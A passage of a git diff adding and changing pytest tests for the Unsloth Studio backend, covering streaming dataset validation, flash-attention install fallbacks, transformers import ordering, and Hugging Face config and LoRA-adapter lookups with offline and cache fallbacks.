patch.object(training_route, "get_training_backend", return_value = backend): + with pytest.raises(HTTPException) as exc_info: + asyncio.run(training_route.start_training(request, current_subject = "test-user")) + + assert exc_info.value.status_code == 400 + assert "embedding" in exc_info.value.detail + + +@pytest.mark.parametrize( + "training_type, format_type", + [ + ("LoRA/QLoRA", "raw"), # raw-text format + ("Continued Pretraining", "chatml"), # CPT + ], +) +def test_streaming_start_accepts_raw_text_and_cpt(training_type, format_type): + # Streaming + raw-text / CPT is supported: _drop_invalid_text_rows skips its + # len()-based checks for IterableDatasets, so the start route must NOT reject. + training_route = _load_route_module( + "training_route_module_for_streaming_raw_cpt_accept_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = training_type, + hf_dataset = "org/dataset", + format_type = format_type, + dataset_streaming = True, + max_steps = 10, + ) + + captured = {} + + def _start_training(**kwargs): + captured.update(kwargs) + return True + + backend = SimpleNamespace( + current_job_id = "job_test", + is_training_active = lambda: False, + start_training = _start_training, + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with patch.object(training_route, "load_model_defaults", return_value = {}): + response = asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) + + assert response.status == "queued" + assert captured["dataset_streaming"] is True + assert captured["format_type"] == format_type + + +def test_streaming_start_happy_path_reaches_backend(): + training_route = _load_route_module( + "training_route_module_for_streaming_happy_path_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + train_split = "train", + eval_split = "validation", + eval_steps = 0.1, + max_steps = 10, + ) + + captured = {} + + def _start_training(**kwargs): + captured.update(kwargs) + return True + + backend = SimpleNamespace( + current_job_id = "job_test", + is_training_active = lambda: False, + start_training = _start_training, + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with patch.object(training_route, "load_model_defaults", return_value = {}): + response = asyncio.run( + training_route.start_training(request, current_subject = "test-user") + ) + + assert response.status == "queued" + assert captured["dataset_streaming"] is True + assert captured["max_steps"] == 10 + assert captured["eval_split"] == "validation" + + +# streaming rejects HF slice syntax in train_split / eval_split + + +@pytest.mark.parametrize( + "field, value", + [ + ("train_split", "train[:50%]"), + ("train_split", "train[:20]"), + ("eval_split", "validation[:1000]"), + ], +) +def test_streaming_rejects_bracketed_split_syntax(field, value): + # The model_validator _validate_streaming_splits raises ValidationError when + # dataset_streaming=True and a split contains "[" (HF slice syntax). + kwargs = { + "model_name": "unsloth/test", + "training_type": "LoRA/QLoRA", + "hf_dataset": "org/dataset", + "format_type": "chatml", + "dataset_streaming": True, + "max_steps": 10, + field: value, + } + with pytest.raises(ValidationError) as exc_info: + TrainingStartRequest(**kwargs) + detail = str(exc_info.value) + assert "slice" in detail.lower() or "bracket" in detail.lower() or "[" in detail + + +# streaming rejects mixed sources (local_datasets) + + +def test_streaming_start_rejects_local_datasets(): + # dataset_streaming + local_datasets -> 400, 'local' in detail + training_route = _load_route_module( + "training_route_module_for_streaming_local_datasets_test", + "routes/training.py", + ) + request = TrainingStartRequest( + model_name = "unsloth/test", + training_type = "LoRA/QLoRA", + hf_dataset = "org/dataset", + format_type = "chatml", + dataset_streaming = True, + max_steps = 10, + ) + # Bypass Pydantic's local-path validation by injecting directly after construction. + object.__setattr__(request, "local_datasets", ["/some/local/file.jsonl"]) + + backend = SimpleNamespace( + current_job_id = None, + is_training_active = lambda: False, + start_training = lambda **kwargs: pytest.fail("backend should not start"), + ) + + with patch.object(training_route, "get_training_backend", return_value = backend): + with pytest.raises(HTTPException) as exc_info: + asyncio.run(training_route.start_training(request, current_subject = "test-user")) + + assert exc_info.value.status_code == 400 + assert "local" in exc_info.value.detail.lower() or "hf-only" in exc_info.value.detail.lower() + + +# _drop_invalid_text_rows handles from_generator with column_names=None + + +def test_drop_invalid_text_rows_from_generator_none_column_names(): + # from_generator IterableDatasets have column_names=None; resolve_column_names + # must fall back to first-row probe. _drop_invalid_text_rows must not raise + # TypeError and must filter correctly. + from utils.datasets.raw_text import _drop_invalid_text_rows + + def _gen(): + yield {"text": "valid row"} + yield {"text": None} # invalid, should be dropped + yield {"text": "another row"} + + stream = datasets.IterableDataset.from_generator(_gen) + # Precondition: column_names is None on a raw from_generator dataset. + assert ( + stream.column_names is None + ), "precondition failed: expected column_names=None for from_generator dataset" + + filtered, notices = _drop_invalid_text_rows( + stream, mode_title = "Raw text", split_scope = "test split" + ) + + rows = list(filtered) + assert [r["text"] for r in rows] == ["valid row", "another row"] + # At least one info/warning notice about dropped rows. + assert len(notices) >= 1 + + +# _preflight_first_batch returns error string on empty dataloader + + +def test_preflight_first_batch_returns_error_on_empty_stream(): + # StopIteration from an empty dataloader must return a clear + # error string (not None). Test via a minimal stub, no real model needed. + import types + import sys + + # Minimal stub trainer whose get_train_dataloader() yields nothing. + class _EmptyLoader: + def __iter__(self): + return iter([]) + + class _StubTrainer: + def get_train_dataloader(self): + return _EmptyLoader() + + # Load UnslothTrainer class from trainer.py via importlib to avoid heavy imports. + trainer_path = _BACKEND_ROOT / "core" / "training" / "trainer.py" + spec = importlib.util.spec_from_file_location("trainer_module", trainer_path) + trainer_mod = importlib.util.module_from_spec(spec) + # Provide a minimal sys.modules shim so top-level imports in trainer.py don't + # crash when optional heavy deps (torch, unsloth) are absent. + _orig_import = __builtins__.__import__ if hasattr(__builtins__, "__import__") else __import__ + + try: + spec.loader.exec_module(trainer_mod) + except Exception: + # trainer.py has optional heavy imports; access _preflight_first_batch directly. + pass + + # If we successfully loaded the module, find the trainer class. + trainer_cls = None + for name, obj in vars(trainer_mod).items() if "trainer_mod" in dir() else []: + # Only real classes — when heavy deps are stubbed with MagicMock, + # hasattr() is always True on a mock, so guard on isinstance(obj, type) + # to avoid picking a mock instance (object.__new__ would then reject it). + if isinstance(obj, type) and hasattr(obj, "_preflight_first_batch"): + trainer_cls = obj + break + + if trainer_cls is None: + pytest.skip("Could not load trainer module (missing optional deps: torch/unsloth).") + + # Build a bare instance without calling __init__ (avoids needing real deps). + instance = object.__new__(trainer_cls) + instance.trainer = _StubTrainer() + instance.model_name = "stub-model" + + result = instance._preflight_first_batch() + + assert result is not None, ( + "_preflight_first_batch must return an error string (not None) when the " + "training dataloader is empty." + ) + assert isinstance(result, str) + # The message should indicate there are no training rows / empty dataset. + assert any(kw in result.lower() for kw in ("empty", "no training", "no rows", "stream")) diff --git a/studio/backend/tests/test_training_worker_flash_attn.py b/studio/backend/tests/test_training_worker_flash_attn.py index 3c5d6cd094..7e7fc1af48 100644 --- a/studio/backend/tests/test_training_worker_flash_attn.py +++ b/studio/backend/tests/test_training_worker_flash_attn.py @@ -59,7 +59,6 @@ def test_runtime_flash_attn_prefers_prebuilt_wheel(monkeypatch): statuses: list[str] = [] monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False) - monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False) monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import()) monkeypatch.setattr( worker, @@ -88,7 +87,6 @@ def test_runtime_flash_attn_falls_back_to_pypi(monkeypatch): statuses: list[str] = [] monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False) - monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False) monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import()) monkeypatch.setattr( worker, @@ -141,27 +139,6 @@ def test_runtime_flash_attn_skip_env_avoids_all_install_work(monkeypatch): worker._sp.run.assert_not_called() -def test_runtime_flash_attn_skips_on_blackwell(monkeypatch): - statuses: list[str] = [] - install_mock = mock.Mock() - - monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False) - monkeypatch.setattr(worker, "_should_try_runtime_flash_attn_install", lambda max_seq: True) - monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: True) - monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock) - monkeypatch.setattr( - worker, - "_send_status", - lambda queue, message: statuses.append(message), - ) - - worker._ensure_flash_attn_for_long_context(event_queue = [], max_seq_length = 65536) - - install_mock.assert_not_called() - assert len(statuses) == 1 - assert "Blackwell" in statuses[0] - - def test_causal_conv1d_fast_path_preserves_wheel_first_install_args(monkeypatch): install_mock = mock.Mock(return_value = True) monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock) diff --git a/studio/backend/tests/test_training_worker_import_discipline.py b/studio/backend/tests/test_training_worker_import_discipline.py new file mode 100644 index 0000000000..a047c91704 --- /dev/null +++ b/studio/backend/tests/test_training_worker_import_discipline.py @@ -0,0 +1,81 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Invariant: the training worker must not import ``transformers`` before it activates the +transformers sidecar. + +``core/training/worker.py:run_training_process`` runs a preflight (Xet decision, logging, hardware +detection) and only THEN calls ``_activate_transformers_version`` -> ``activate_transformers_for_subprocess``, +which prepends the correct ``.venv_t5_*`` (5.x) sidecar to ``sys.path``. Because activation only edits +``sys.path``, it is a no-op for any module already cached in ``sys.modules``. So if the preflight imports +``transformers`` (directly or transitively via ``unsloth_zoo``), the default 4.57.x gets pinned before +the sidecar is on the path -- and 5.x models (Qwen3.5, GLM-4.7, gemma-4) then fail to load their +tokenizer/config ("Tokenizer class TokenizersBackend does not exist"). + +This regression shipped once when ``utils/hf_xet_fallback.py`` eagerly imported ``unsloth_zoo`` (which +imports ``transformers``) at module load; the worker imports that shim during preflight to decide the +Xet env flip (see issue #6951). This test locks the invariant in a fresh interpreter. It is CPU-only, +needs no network/GPU/weights/sidecars, so it runs in the standard ``studio-backend-ci`` matrix. +""" + +from __future__ import annotations + +import subprocess +import sys +from pathlib import Path + +_BACKEND_DIR = Path(__file__).resolve().parent.parent # studio/backend + +# Mirrors run_training_process's imports that run BEFORE _activate_transformers_version (worker.py); +# keep in sync. torch-dependent imports are optional (a no-torch CI shard skips them) but must still +# not drag in transformers. +_PREFLIGHT_SNIPPET = r""" +import sys + +# worker.py: from utils.hf_xet_fallback import child_should_disable_xet (+ call it) +from utils.hf_xet_fallback import child_should_disable_xet +child_should_disable_xet({}) + +# worker.py: from loggers.config import LogConfig +from loggers.config import LogConfig # noqa: F401 + +# worker.py: from utils.hardware import hardware (imports torch, not transformers) +try: + from utils.hardware import hardware as _hw # noqa: F401 +except Exception: + pass # torch may be absent in a no-torch shard; the invariant below still applies + +# worker.py: from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend +# (the MLX-dispatch preflight; must also stay clear of transformers). Guarded because it may pull +# unsloth/trl, absent in a minimal shard -- but a partial import that leaked transformers would still +# be caught by the assertion below. +try: + from core.training.training import ( # noqa: F401 + is_apple_silicon_training_platform as _is_apple, + should_use_mlx_training_backend as _use_mlx, + ) +except Exception: + pass + +leaked_tf = sorted(m for m in sys.modules if m == "transformers" or m.startswith("transformers.")) +leaked_zoo = sorted(m for m in sys.modules if m == "unsloth_zoo" or m.startswith("unsloth_zoo.")) +assert not leaked_tf, f"transformers imported during worker preflight (before sidecar activation): {leaked_tf}" +assert not leaked_zoo, f"unsloth_zoo imported during worker preflight (before sidecar activation): {leaked_zoo}" +print("PREFLIGHT_CLEAN") +""" + + +def test_worker_preflight_does_not_import_transformers(): + """A fresh interpreter running the worker's pre-activation imports must leave ``transformers`` + (and ``unsloth_zoo``) unimported, so the 5.x sidecar prepend is not defeated by a stale module.""" + result = subprocess.run( + [sys.executable, "-c", _PREFLIGHT_SNIPPET], + cwd = str(_BACKEND_DIR), + capture_output = True, + text = True, + ) + assert result.returncode == 0, ( + "Worker preflight imported transformers before sidecar activation.\n" + f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}" + ) + assert "PREFLIGHT_CLEAN" in result.stdout, result.stdout diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py index 60bbcde9ec..b9b5abb9e5 100644 --- a/studio/backend/tests/test_transformers_version.py +++ b/studio/backend/tests/test_transformers_version.py @@ -31,18 +31,36 @@ sys.modules.setdefault("loggers", _loggers_stub) from utils.transformers_version import ( _resolve_base_model, + _is_lora_adapter_dir, + _has_adapter_weights, + _remote_lora_base, _check_tokenizer_config_needs_v5, _check_config_needs_510, + _check_config_needs_530, _check_config_needs_550, + _config_needs_510, + _config_needs_530, + _norm_separators, + _tier_from_name, + _looks_like_hf_id, + _nemotron_h_needs_mlp_support, + _config_json_from_hf_cache, + _load_config_json, + _higher_tier, _config_json_cache, _tokenizer_class_cache, _config_needs_510_cache, + _config_needs_530_cache, _config_needs_550_cache, + _probe_tier_cache, + _probe_tier, + _stderr_is_transient, needs_transformers_5, get_transformers_tier, activate_transformers_for_subprocess, _venv_dir_is_valid, _ensure_venv_dir, + hf_endpoint_unreachable, ) @@ -100,6 +118,14 @@ class TestResolveBaseModel: result = _resolve_base_model(str(tmp_path)) assert result == "Qwen/Qwen3.5-9B" + def test_non_string_base_does_not_crash(self, tmp_path: Path): + """A malformed config (list/dict for model_name) must not raise.""" + config_cfg = {"model_name": ["x"], "_name_or_path": "Qwen/Qwen3.5-9B"} + (tmp_path / "config.json").write_text(json.dumps(config_cfg)) + + # Skips the non-string model_name and falls through to _name_or_path. + assert _resolve_base_model(str(tmp_path)) == "Qwen/Qwen3.5-9B" + def test_model_name_takes_priority_over_name_or_path(self, tmp_path: Path): """model_name should be preferred over _name_or_path.""" config_cfg = { @@ -131,6 +157,123 @@ class TestResolveBaseModel: assert result == "meta-llama/Llama-3-8B" +class TestRemoteLoraBase: + """_remote_lora_base reads a remote adapter's base from its Hub adapter_config.json.""" + + @staticmethod + def _resp(cfg: dict): + class _Resp: + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self): + return json.dumps(cfg).encode() + + return _Resp() + + def test_fetches_base_from_remote_adapter_config(self, monkeypatch): + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + cfg = {"base_model_name_or_path": "nvidia/NVIDIA-Nemotron-3-Nano-4B"} + with patch("urllib.request.urlopen", return_value = self._resp(cfg)): + assert ( + _remote_lora_base("someuser/my-nemotron-lora") == "nvidia/NVIDIA-Nemotron-3-Nano-4B" + ) + + def test_local_or_noncanonical_returns_none(self): + assert _remote_lora_base("/local/dir/adapter") is None + assert _remote_lora_base("plainname") is None + + def test_respects_hf_endpoint(self, monkeypatch): + # Enterprise mirror: the fetch must target HF_ENDPOINT, not hardcoded huggingface.co. + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.setenv("HF_ENDPOINT", "https://hf.mirror.internal") + seen = {} + + def fake_urlopen(req, timeout = 10): + seen["url"] = req.full_url + return self._resp({"base_model_name_or_path": "org/base"}) + + with patch("urllib.request.urlopen", side_effect = fake_urlopen): + assert _remote_lora_base("user/adapter") == "org/base" + assert seen["url"].startswith("https://hf.mirror.internal/user/adapter/raw/main/") + + @staticmethod + def _seed_adapter_cache( + hub: Path, + repo_id: str, + base: str, + commit: str = "deadbeef", + ): + repo = hub / ("models--" + repo_id.replace("/", "--")) + snap = repo / "snapshots" / commit + snap.mkdir(parents = True) + (snap / "adapter_config.json").write_text(json.dumps({"base_model_name_or_path": base})) + (repo / "refs").mkdir(parents = True) + (repo / "refs" / "main").write_text(commit) + + def test_offline_reads_base_from_hf_cache(self, tmp_path: Path, monkeypatch): + self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B") + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + with patch("urllib.request.urlopen") as mock_url: + assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B" + mock_url.assert_not_called() # offline: cache only, no network + + def test_fetch_failure_falls_back_to_cache(self, tmp_path: Path, monkeypatch): + self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B") + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + with patch("urllib.request.urlopen", side_effect = OSError("boom")): + assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B" + + def test_offline_uncached_makes_no_request(self, tmp_path: Path, monkeypatch): + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + with patch("urllib.request.urlopen") as mock_url: + assert _remote_lora_base("org/adapter") is None + mock_url.assert_not_called() + + def test_non_adapter_repo_returns_none(self, tmp_path: Path, monkeypatch): + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + with patch("urllib.request.urlopen", side_effect = OSError("boom")): + assert _remote_lora_base("org/not-an-adapter") is None + + def test_existing_relative_path_not_treated_as_repo(self, monkeypatch): + # An existing one-slash relative path (e.g. outputs/run1) is a local checkpoint, not + # a Hub repo: no request, no risk of matching an unrelated remote/cached adapter. + import utils.paths as paths + monkeypatch.setattr(paths, "is_local_path", lambda p: True) + with patch("urllib.request.urlopen") as mock_url: + assert _remote_lora_base("outputs/run1") is None + mock_url.assert_not_called() + + def test_404_returns_none_not_stale_cache(self, tmp_path: Path, monkeypatch): + import urllib.error + + # The repo is now a full model (adapter_config.json 404s) but a stale LoRA snapshot is + # cached: a definitive 404 must return None, not the stale base. + self._seed_adapter_cache(tmp_path, "user/was-a-lora", "old/base") + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + err = urllib.error.HTTPError("url", 404, "Not Found", {}, None) + with patch("urllib.request.urlopen", side_effect = err): + assert _remote_lora_base("user/was-a-lora") is None + + def test_transient_http_error_falls_back_to_cache(self, tmp_path: Path, monkeypatch): + import urllib.error + + self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B") + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + err = urllib.error.HTTPError("url", 503, "Service Unavailable", {}, None) + with patch("urllib.request.urlopen", side_effect = err): + assert _remote_lora_base("user/cached-lora") == "nvidia/Nemotron-H-8B" + + # --------------------------------------------------------------------------- # _check_tokenizer_config_needs_v5 — local file check # --------------------------------------------------------------------------- @@ -173,11 +316,45 @@ class TestCheckTokenizerConfigNeedsV5: tc = {"tokenizer_class": "TokenizersBackend"} (tmp_path / "tokenizer_config.json").write_text(json.dumps(tc)) - key = str(tmp_path) - _check_tokenizer_config_needs_v5(key) + key = (str(tmp_path), None) + _check_tokenizer_config_needs_v5(str(tmp_path)) assert key in _tokenizer_class_cache assert _tokenizer_class_cache[key] is True + def test_token_cache_isolation_and_auth_fetch(self, monkeypatch): + # A gated repo: the unauthenticated miss (cached under (model, None)) must not block a + # later authed fetch (separate key), and the token rides in the Authorization header. + import utils.transformers_version as tv + + monkeypatch.setattr(tv, "_env_offline", lambda: False) + seen_auth = [] + + class _Resp: + def __init__(self, body): + self._b = body + + def read(self): + return self._b.encode() + + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def fake_urlopen(req, timeout = 10): + auth = req.get_header("Authorization") + seen_auth.append(auth) + if auth: + return _Resp(json.dumps({"tokenizer_class": "TokenizersBackend"})) + raise OSError("HTTP 401") + + monkeypatch.setattr("urllib.request.urlopen", fake_urlopen) + assert _check_tokenizer_config_needs_v5("org/gated") is False # unauth miss + assert _check_tokenizer_config_needs_v5("org/gated", "tok") is True # authed hit + assert seen_auth == [None, "Bearer tok"] + assert _tokenizer_class_cache[("org/gated", None)] is False # miss not poisoning + # --------------------------------------------------------------------------- # needs_transformers_5 — integration-level @@ -267,8 +444,8 @@ class TestCheckConfigNeeds550: cfg = {"architectures": ["Gemma4ForConditionalGeneration"]} (tmp_path / "config.json").write_text(json.dumps(cfg)) - key = str(tmp_path) - _check_config_needs_550(key) + key = (str(tmp_path), None) + _check_config_needs_550(str(tmp_path)) assert key in _config_needs_550_cache assert _config_needs_550_cache[key] is True @@ -367,8 +544,8 @@ class TestCheckConfigNeeds510: cfg = {"architectures": ["Gemma4UnifiedForConditionalGeneration"]} (tmp_path / "config.json").write_text(json.dumps(cfg)) - key = str(tmp_path) - _check_config_needs_510(key) + key = (str(tmp_path), None) + _check_config_needs_510(str(tmp_path)) assert key in _config_needs_510_cache assert _config_needs_510_cache[key] is True @@ -382,6 +559,259 @@ class TestCheckConfigNeeds510: mock_urlopen.assert_not_called() +# --------------------------------------------------------------------------- +# NemotronH dense (MLP) models need the 5.10 tier +# --------------------------------------------------------------------------- + + +class TestNemotronHNeedsMlpSupport: + """Dense NemotronH configs (MLP layers) require transformers >= 5.10.""" + + def test_hybrid_override_pattern_with_dash(self): + cfg = { + "model_type": "nemotron_h", + "hybrid_override_pattern": "M-M-M*-M-", + } + assert _nemotron_h_needs_mlp_support(cfg) is True + + def test_layers_block_type_with_mlp(self): + cfg = { + "model_type": "nemotron_h", + "layers_block_type": ["mamba", "mlp", "attention", "mamba"], + } + assert _nemotron_h_needs_mlp_support(cfg) is True + + def test_nemotron_h_moe_only_returns_false(self): + """A pure MoE NemotronH (no MLP) does not need the 5.10 tier.""" + cfg = { + "model_type": "nemotron_h", + "hybrid_override_pattern": "MEME*MEM", + } + assert _nemotron_h_needs_mlp_support(cfg) is False + + def test_non_nemotron_with_dash_returns_false(self): + """The dash heuristic only applies to nemotron_h configs.""" + cfg = {"model_type": "llama", "hybrid_override_pattern": "M-M-"} + assert _nemotron_h_needs_mlp_support(cfg) is False + + def test_config_needs_510_includes_dense_nemotron_h(self): + cfg = { + "model_type": "nemotron_h", + "hybrid_override_pattern": "M-M-M*-", + } + assert _config_needs_510(cfg) is True + + def test_nested_llm_config_with_dash(self): + # VL wrapper (e.g. NemotronH_Nano_VL_V2): dense LM is under llm_config. + cfg = { + "model_type": "NemotronH_Nano_VL_V2", + "llm_config": {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}, + } + assert _nemotron_h_needs_mlp_support(cfg) is True + assert _config_needs_510(cfg) is True + + def test_nested_text_config_with_mlp(self): + cfg = { + "model_type": "wrapper", + "text_config": {"model_type": "nemotron_h", "layers_block_type": ["mamba", "mlp"]}, + } + assert _nemotron_h_needs_mlp_support(cfg) is True + + def test_nested_non_nemotron_returns_false(self): + cfg = {"model_type": "wrapper", "llm_config": {"model_type": "llama"}} + assert _nemotron_h_needs_mlp_support(cfg) is False + + def test_non_dict_and_missing_nested_do_not_raise(self): + assert _nemotron_h_needs_mlp_support(None) is False + assert _nemotron_h_needs_mlp_support({"model_type": "wrapper", "llm_config": None}) is False + + +def _hf_response(cfg: dict): + """A urlopen() context-manager stand-in returning *cfg* as JSON bytes.""" + + class _Resp: + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self): + return json.dumps(cfg).encode() + + return _Resp() + + +class TestConfigJsonHfCacheFallback: + """HF hub cache is consulted only offline or after a failed fetch (never stale online).""" + + def setup_method(self): + _config_json_cache.clear() + + @staticmethod + def _seed_cache( + hub: Path, + repo_id: str, + cfg: dict, + commit: str = "deadbeef", + ): + repo = hub / ("models--" + repo_id.replace("/", "--")) + snap = repo / "snapshots" / commit + snap.mkdir(parents = True) + (snap / "config.json").write_text(json.dumps(cfg)) + (repo / "refs").mkdir(parents = True) + (repo / "refs" / "main").write_text(commit) + + def test_offline_reads_from_cache(self, tmp_path: Path, monkeypatch): + cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "unsloth/NVIDIA-Nemotron-3-Nano-4B", cfg) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + with patch("urllib.request.urlopen") as mock_url: + assert _load_config_json("unsloth/NVIDIA-Nemotron-3-Nano-4B") == cfg + mock_url.assert_not_called() + + def test_online_prefers_network_over_cache(self, tmp_path: Path, monkeypatch): + stale = {"model_type": "nemotron_h", "hybrid_override_pattern": "MMMM"} + fresh = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "org/model", stale) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) + with patch("urllib.request.urlopen", return_value = _hf_response(fresh)): + assert _load_config_json("org/model") == fresh # network wins, not stale cache + + def test_network_failure_falls_back_to_cache(self, tmp_path: Path, monkeypatch): + cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "org/model", cfg) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + with patch("urllib.request.urlopen", side_effect = OSError("boom")): + assert _load_config_json("org/model") == cfg + + def test_offline_uncached_returns_none(self, tmp_path: Path, monkeypatch): + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + with patch("urllib.request.urlopen") as mock_url: + assert _load_config_json("private/unknown") is None + mock_url.assert_not_called() + + def test_helper_ignores_local_paths(self, tmp_path: Path): + # A filesystem path is not a repo id; never treat it as one. + assert _config_json_from_hf_cache(str(tmp_path)) is None + assert _config_json_from_hf_cache("plainname") is None + + def test_no_refs_main_picks_newest_snapshot(self, tmp_path: Path, monkeypatch): + # No refs/main (commit-pinned downloads): lexicographic order would pick the older + # SHA; selection must follow mtime so the newest snapshot wins. + repo = tmp_path / "models--org--model" + old = repo / "snapshots" / "0000old" + new = repo / "snapshots" / "ffffnew" + old.mkdir(parents = True) + new.mkdir(parents = True) + (old / "config.json").write_text(json.dumps({"model_type": "stale"})) + (new / "config.json").write_text(json.dumps({"model_type": "fresh"})) + os.utime(old / "config.json", (1000, 1000)) + os.utime(new / "config.json", (2000, 2000)) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + assert _config_json_from_hf_cache("org/model") == {"model_type": "fresh"} + + def test_transient_failure_does_not_cache_fallback(self, tmp_path: Path, monkeypatch): + stale = {"model_type": "nemotron_h", "hybrid_override_pattern": "MMMM"} + fresh = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "org/model", stale) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + # Network fails -> serve the cached snapshot, but it must not be memoized. + with patch("urllib.request.urlopen", side_effect = OSError("boom")): + assert _load_config_json("org/model") == stale + # Connectivity returns: the next call must hit the network for the fresh config. + with patch("urllib.request.urlopen", return_value = _hf_response(fresh)): + assert _load_config_json("org/model") == fresh + + def test_auth_failure_does_not_serve_cache(self, tmp_path: Path, monkeypatch): + import urllib.error + + # config.json cached from an earlier authorized session; an unauthenticated 4xx + # must not be handed that private metadata. + cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "private/model", cfg) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + for code in (401, 403, 404): + _config_json_cache.clear() + err = urllib.error.HTTPError("url", code, "denied", {}, None) + with patch("urllib.request.urlopen", side_effect = err): + assert _load_config_json("private/model") is None + + def test_server_error_still_falls_back_to_cache(self, tmp_path: Path, monkeypatch): + import urllib.error + + cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} + self._seed_cache(tmp_path, "org/model", cfg) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + # A 5xx is transient, not an access decision: keep serving the cache. + err = urllib.error.HTTPError("url", 503, "busy", {}, None) + with patch("urllib.request.urlopen", side_effect = err): + assert _load_config_json("org/model") == cfg + + +class TestTierCheckTransientRetry: + """tier-needs checks must not memoize a transient fetch fallback.""" + + def setup_method(self): + _config_json_cache.clear() + _config_needs_510_cache.clear() + _config_needs_550_cache.clear() + + @staticmethod + def _seed_cache( + hub: Path, + repo_id: str, + cfg: dict, + commit: str = "deadbeef", + ): + repo = hub / ("models--" + repo_id.replace("/", "--")) + snap = repo / "snapshots" / commit + snap.mkdir(parents = True) + (snap / "config.json").write_text(json.dumps(cfg)) + (repo / "refs").mkdir(parents = True) + (repo / "refs" / "main").write_text(commit) + + def test_transient_fallback_not_memoized_then_retries(self, tmp_path: Path, monkeypatch): + stale = {"model_type": "llama"} # does not need 510 + fresh = {"architectures": ["Gemma4UnifiedForConditionalGeneration"]} # needs 510 + self._seed_cache(tmp_path, "org/model", stale) + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + # Network blip -> serve the cache, but do NOT pin the tier result. + with patch("urllib.request.urlopen", side_effect = OSError("boom")): + assert _check_config_needs_510("org/model") is False + assert ("org/model", None) not in _config_needs_510_cache + # Connectivity returns: the next call re-fetches and sees the higher tier. + with patch("urllib.request.urlopen", return_value = _hf_response(fresh)): + assert _check_config_needs_510("org/model") is True + assert _config_needs_510_cache[("org/model", None)] is True # definitive read memoized + + def test_definitive_network_read_is_memoized(self, tmp_path: Path, monkeypatch): + fresh = {"architectures": ["Gemma4ForConditionalGeneration"]} # needs 550 + monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + with patch("urllib.request.urlopen", return_value = _hf_response(fresh)) as mock_url: + assert _check_config_needs_550("org/model") is True + assert _check_config_needs_550("org/model") is True + assert mock_url.call_count == 1 # second call served from the tier cache + + +class TestHigherTier: + def 